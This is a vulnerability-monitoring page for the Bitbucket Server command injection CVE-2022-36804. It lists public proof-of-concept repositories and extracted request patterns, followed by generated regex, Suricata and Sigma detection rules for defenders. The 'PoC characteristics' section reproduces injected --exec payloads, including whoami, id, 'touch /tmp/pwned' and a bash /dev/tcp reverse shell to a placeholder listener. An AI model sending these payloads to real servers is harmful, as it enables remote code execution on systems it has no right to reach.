Atlassian Bitbucket Server
Atlassian Bitbucket Server and Data Center Command Injection Vulnerability
Multiple API endpoints in Atlassian Bitbucket Server and Data Center 7.0.0 before version 7.6.17, from version 7.7.0 before version 7.17.10, from version 7.18.0 before version 7.21.4, from version 8.0.0 before version 8.0.3, from version 8.1.0 before version 8.1.3, and from version 8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1 allows remote attackers with read permissions to a public or private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request. This vulnerability was reported via our Bug Bounty Program by TheGrandPew.
Timeline
Days relative to CVE publicationFirst public PoC 13 days after publication; added to CISA KEV 36 days after publication. First PoC: notdls/CVE-2022-36804 (created 7 Sep 2022, found by us: backfilled).
PoC repositories
Found on GitHub.20 PoCs · 7 pending · 1 informational
PoCs 20
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| notdls/CVE-2022-36804 | 7 Sep 2022 +13 d | 35 | PoC |
| notxesh/CVE-2022-36804-PoC | 19 Sep 2022 +25 d | 18 | PoC |
| JRandomSage/CVE-2022-36804-MASS-RCE | 20 Sep 2022 +26 d | 0 | PoC |
| BenHays142/CVE-2022-36804-PoC-Exploit | 20 Sep 2022 +26 d | 16 | PoC |
| benjaminhays/CVE-2022-36804-PoC-Exploit | 20 Sep 2022 +26 d | 16 | PoC |
| Vulnmachines/bitbucket-cve-2022-36804 | 20 Sep 2022 +26 d | 3 | PoC via PoC Index |
| kljunowsky/CVE-2022-36804-POC | 21 Sep 2022 +27 d | 7 | PoC |
| Chocapikk/CVE-2022-36804-ReverseShell | 23 Sep 2022 +29 d | 4 | PoC |
| khal4n1/CVE-2022-36804 | 24 Sep 2022 +30 d | 3 | PoC |
| 0xEleven/CVE-2022-36804-ReverseShell | 24 Sep 2022 +31 d | 0 | PoC |
| vj4336/CVE-2022-36804-ReverseShell | 24 Sep 2022 +31 d | 0 | PoC |
| tahtaciburak/cve-2022-36804 | 25 Sep 2022 +31 d | 7 | PoC |
| sh4den/CVE-2022-36804 | 26 Sep 2022 +32 d | 12 | PoC |
| ColdFusionX/CVE-2022-36804 | 4 Oct 2022 +40 d | 7 | PoC via PoC Index |
| walnutsecurity/cve-2022-36804 | 23 Jan 2023 +151 d | 8 | PoC |
| imbas007/Atlassian-Bitbucket-CVE-2022-36804 | 2 Feb 2023 +161 d | 0 | PoC |
| asepsaepdin/CVE-2022-36804 | 30 Jan 2025 +2.4 y | 0 | PoC |
| DanielHallbro/CVE-2022-36804-Bitbucket-RCE-Analysis | 26 Feb 2026 +3.5 y | 0 | PoC |
| JohanGabrielson/bitbucket-test | 24 Mar 2026 +3.6 y | 0 | PoC
Flags · score 35
Below the suspicion threshold (50); does not change the assessment. |
| Junohea/cve-2022-36804 | 21 Aug 2026 +4.0 y | 0 | PoC |
Pending 7
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| CEOrbey/CVE-2022-36804-POC | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| Inplex-sys/CVE-2022-36804 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| SystemVll/CVE-2022-36804 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| cryptolakk/CVE-2022-36804-RCE | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| qiwentaidi/CVE-2022-36804 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| trhacknon/CVE-2022-36804-ReverseShell | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| ui-bootstrap/CVE-2022-36804 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
Informational 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| devengpk/CVE-2022-36804 | 20 Dec 2022 +118 d | 0 | Informational · write-up |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.| Source | Title | Published | Found by us |
|---|---|---|---|
| Exploit-DB | Bitbucket v7.0.0 - RCE | 23 Mar 2023 | 14 Nov 2026 |
| Metasploit | Metasploit exploit: Bitbucket Git Command Injection (exploit/linux/http/bitbucket_git_cmd_injection) | 19 Sep 2022 | 14 Nov 2026 |
| nuclei template | nuclei template: Atlassian Bitbucket - Remote Command Injection | 27 Apr 2023 | 14 Nov 2026 |
PoC characteristics
What to hunt for in your logs · from 20 PoC reposGET /rest/api/latest/projects/{var}/repos/{var}/archive
- Query
filename=kiE0Hat=kiE0Hpath=kiE0hprefix=ax�--exec=`format=zippath=aaaprefix=test/�testprefix=test/�--remote=/�--exec=`{var}=filename=aaaprefix=ax�--exec=`whoami`�--remote=originfilename=kiE0hat=refs/heads/master- Key headers
Accept: application/json, text/javascript, */*; q=0.01Accept-Language: en-US,en;q=0.5Cookie: BITBUCKETSESSIONID={var}Referer: {var}Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailersX-Requested-With: XMLHttpRequest- Content-Type
application/json- Ports
- 7990
- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0- Seen in
- 11 repos: 0xEleven/CVE-2022-36804-ReverseShell, BenHays142/CVE-2022-36804-PoC-Exploit, Chocapikk/CVE-2022-36804-ReverseShell, Junohea/cve-2022-36804, Vulnmachines/bitbucket-cve-2022-36804, asepsaepdin/CVE-2022-36804, benjaminhays/CVE-2022-36804-PoC-Exploit, imbas007/Atlassian-Bitbucket-CVE-2022-36804, tahtaciburak/cve-2022-36804, vj4336/CVE-2022-36804-ReverseShell, walnutsecurity/cve-2022-36804
- Evidence
- 0xEleven/CVE-2022-36804-ReverseShell/main.py:115 0xEleven/CVE-2022-36804-ReverseShell/main.py:150 BenHays142/CVE-2022-36804-PoC-Exploit/main.py:35 BenHays142/CVE-2022-36804-PoC-Exploit/main.py:47 Chocapikk/CVE-2022-36804-ReverseShell/main.py:115 Chocapikk/CVE-2022-36804-ReverseShell/main.py:150
GET /rest/api/latest/repos
- Seen in
- 6 repos: 0xEleven/CVE-2022-36804-ReverseShell, BenHays142/CVE-2022-36804-PoC-Exploit, Chocapikk/CVE-2022-36804-ReverseShell, benjaminhays/CVE-2022-36804-PoC-Exploit, sh4den/CVE-2022-36804, vj4336/CVE-2022-36804-ReverseShell
- Evidence
- 0xEleven/CVE-2022-36804-ReverseShell/main.py:89 BenHays142/CVE-2022-36804-PoC-Exploit/main.py:16 Chocapikk/CVE-2022-36804-ReverseShell/main.py:89 benjaminhays/CVE-2022-36804-PoC-Exploit/main.py:16 sh4den/CVE-2022-36804/main.py:42 vj4336/CVE-2022-36804-ReverseShell/main.py:89
GET /repos
- Query
visibility=public- Ports
- 7990
- Seen in
- 3 repos: asepsaepdin/CVE-2022-36804, imbas007/Atlassian-Bitbucket-CVE-2022-36804, walnutsecurity/cve-2022-36804
- Evidence
- asepsaepdin/CVE-2022-36804/cve-2022-36804.py:84 imbas007/Atlassian-Bitbucket-CVE-2022-36804/CVE-2022-36804.py:84 walnutsecurity/cve-2022-36804/cve-2022-36804.py:84
GET /rest/api/latest/projects/cfx/repos/lord/archive
- Query
format=zippath=bighaxprefix=fusion/�--remote=/�--exec=`id`�--prefix=/prefix=/�--help�--�- Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cache-Control: max-age=0Upgrade-Insecure-Requests: 1- Ports
- 7990
- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36- Seen in
- 1 repo: ColdFusionX/CVE-2022-36804
- Evidence
- ColdFusionX/CVE-2022-36804/README.md:20 ColdFusionX/CVE-2022-36804/README.md:60
GET /rest/api/latest/projects
- Seen in
- 1 repo: tahtaciburak/cve-2022-36804
- Evidence
- tahtaciburak/cve-2022-36804/cve-2022-36804.py:9
GET /rest/api/latest/projects/CVE/repos/repo1/archive
- Query
prefix=x�--exec=/bin/bash -c 'touch /tmp/pwned'�--remote=file:///�xprefix=x�--exec=/bin/bash -c 'bash -i >& /dev/tcp/[KALI_CONTAINER_IP]/[LISTENER_PORT] 0>&1'�--remote=file:///�x- Ports
- 7990
- Seen in
- 1 repo: DanielHallbro/CVE-2022-36804-Bitbucket-RCE-Analysis
- Evidence
- DanielHallbro/CVE-2022-36804-Bitbucket-RCE-Analysis/README.md:211 DanielHallbro/CVE-2022-36804-Bitbucket-RCE-Analysis/README.md:241 DanielHallbro/CVE-2022-36804-Bitbucket-RCE-Analysis/README.md:262
GET /rest/api/latest/projects/TEST/repos/DEMO/archive
- Query
at=ebbabd99dd2da7bb5f8ed6dea8c988253fb43260prefix=x�--exec=touch /tmp/pwned�--remote=file:///var/atlassian/application-data/bitbucket/shared/data/repositories/1�xformat=zip- Ports
- 7990
- Seen in
- 1 repo: JohanGabrielson/bitbucket-test
- Evidence
- JohanGabrielson/bitbucket-test/README.md:70
GET /rest/api/latest/projects/TEST/repos/demo/archive
- Query
prefix=test�canaryformat=zip- Ports
- 7990
- Seen in
- 1 repo: JohanGabrielson/bitbucket-test
- Evidence
- JohanGabrielson/bitbucket-test/README.md:48
GET /rest/api/latest/projects/{var}/repos
- Seen in
- 1 repo: tahtaciburak/cve-2022-36804
- Evidence
- tahtaciburak/cve-2022-36804/cve-2022-36804.py:13
GET /var/lib/apt/lists/*
- Ports
- 7990
- Seen in
- 1 repo: DanielHallbro/CVE-2022-36804-Bitbucket-RCE-Analysis
- Evidence
- DanielHallbro/CVE-2022-36804-Bitbucket-RCE-Analysis/README.md:122
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/rest/api/latest/projects/[^/?#]*/repos/[^/?#]*/archive\?(?:.*&)?filename=kiE0H.*at=kiE0H.*path=kiE0h.*prefix=ax�--exec=`.*format=zip.*path=aaa.*prefix=test/�test.*prefix=test/�--remote=/�--exec=`.*\{var\}=.*filename=aaa.*prefix=ax�--exec=`whoami`�--remote=origin.*filename=kiE0h.*at=refs/heads/master
(?i)^/rest/api/latest/repos(?:[?#].*)?$
(?i)^/repos\?(?:.*&)?visibility=public
(?i)^/rest/api/latest/projects/cfx/repos/lord/archive\?(?:.*&)?format=zip.*path=bighax.*prefix=fusion/�--remote=/�--exec=`id`�--prefix=/.*prefix=/�--help�--�
(?i)^/rest/api/latest/projects(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET [7990] (msg:"GG PoC-Monitor CVE-2022-36804 Atlassian Bitbucket Server exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/rest/api/latest/projects/"; http.uri; content:"/archive"; http.uri; content:"/repos/"; http.uri; content:"filename=kiE0H"; http.uri; content:"at=kiE0H"; http.uri; content:"path=kiE0h"; http.uri; content:"prefix=ax�--exec=`"; http.uri; content:"format=zip"; http.uri; content:"path=aaa"; http.uri; content:"prefix=test/�test"; http.uri; content:"prefix=test/�--remote=/�--exec=`"; http.uri; content:"{var}="; http.uri; content:"filename=aaa"; http.uri; content:"prefix=ax�--exec=`whoami`�--remote=origin"; http.uri; content:"filename=kiE0h"; http.uri; content:"at=refs/heads/master"; http.header; content:"Accept: application/json, text/javascript, */*|3b| q=0.01"; nocase; http.header; content:"Accept-Language: en-US,en|3b|q=0.5"; nocase; http.header; content:"Cookie: BITBUCKETSESSIONID="; nocase; http.header_names; content:"Referer"; nocase; http.header; content:"Sec-Fetch-Dest: empty"; nocase; http.header; content:"Sec-Fetch-Mode: cors"; nocase; http.header; content:"Sec-Fetch-Site: same-origin"; nocase; http.header; content:"Te: trailers"; nocase; http.header; content:"X-Requested-With: XMLHttpRequest"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2022-36804; classtype:web-application-attack; sid:9845940; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2022-36804 Atlassian Bitbucket Server exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/rest/api/latest/repos"; reference:url,poc.griffinguard.io/cve/CVE-2022-36804; classtype:web-application-attack; sid:9485382; rev:1;)
alert http any any -> $HOME_NET [7990] (msg:"GG PoC-Monitor CVE-2022-36804 Atlassian Bitbucket Server exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/repos"; http.uri; content:"visibility=public"; reference:url,poc.griffinguard.io/cve/CVE-2022-36804; classtype:web-application-attack; sid:9238392; rev:1;)
alert http any any -> $HOME_NET [7990] (msg:"GG PoC-Monitor CVE-2022-36804 Atlassian Bitbucket Server exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/rest/api/latest/projects/cfx/repos/lord/archive"; http.uri; content:"format=zip"; http.uri; content:"path=bighax"; http.uri; content:"prefix=fusion/�--remote=/�--exec=`id`�--prefix=/"; http.uri; content:"prefix=/�--help�--�"; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,image/avif,image/webp,image/apng,*/*|3b|q=0.8,application/signed-exchange|3b|v=b3|3b|q=0.9"; nocase; http.header; content:"Accept-Language: en-US,en|3b|q=0.9"; nocase; http.header; content:"Cache-Control: max-age=0"; nocase; http.header; content:"Upgrade-Insecure-Requests: 1"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2022-36804; classtype:web-application-attack; sid:9392184; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2022-36804 Atlassian Bitbucket Server exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/rest/api/latest/projects"; reference:url,poc.griffinguard.io/cve/CVE-2022-36804; classtype:web-application-attack; sid:9472883; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: Atlassian Bitbucket Server exploit attempt (CVE-2022-36804)
id: gg-pocmon-cve-2022-36804-9845940
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-36804. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2022-36804
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/rest/api/latest/projects/'
- '/archive'
- '/repos/'
cs-uri-query|contains|all:
- 'filename=kiE0H'
- 'at=kiE0H'
- 'path=kiE0h'
- 'prefix=ax�--exec=`'
- 'format=zip'
- 'path=aaa'
- 'prefix=test/�test'
- 'prefix=test/�--remote=/�--exec=`'
- '{var}='
- 'filename=aaa'
- 'prefix=ax�--exec=`whoami`�--remote=origin'
- 'filename=kiE0h'
- 'at=refs/heads/master'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2022.36804
title: Atlassian Bitbucket Server exploit attempt (CVE-2022-36804)
id: gg-pocmon-cve-2022-36804-9485382
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-36804. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2022-36804
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/rest/api/latest/repos'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2022.36804
title: Atlassian Bitbucket Server exploit attempt (CVE-2022-36804)
id: gg-pocmon-cve-2022-36804-9238392
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-36804. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2022-36804
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/repos'
cs-uri-query|contains|all:
- 'visibility=public'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2022.36804
title: Atlassian Bitbucket Server exploit attempt (CVE-2022-36804)
id: gg-pocmon-cve-2022-36804-9392184
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-36804. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2022-36804
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/rest/api/latest/projects/cfx/repos/lord/archive'
cs-uri-query|contains|all:
- 'format=zip'
- 'path=bighax'
- 'prefix=fusion/�--remote=/�--exec=`id`�--prefix=/'
- 'prefix=/�--help�--�'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2022.36804
title: Atlassian Bitbucket Server exploit attempt (CVE-2022-36804)
id: gg-pocmon-cve-2022-36804-9472883
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-36804. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2022-36804
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/rest/api/latest/projects'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2022.36804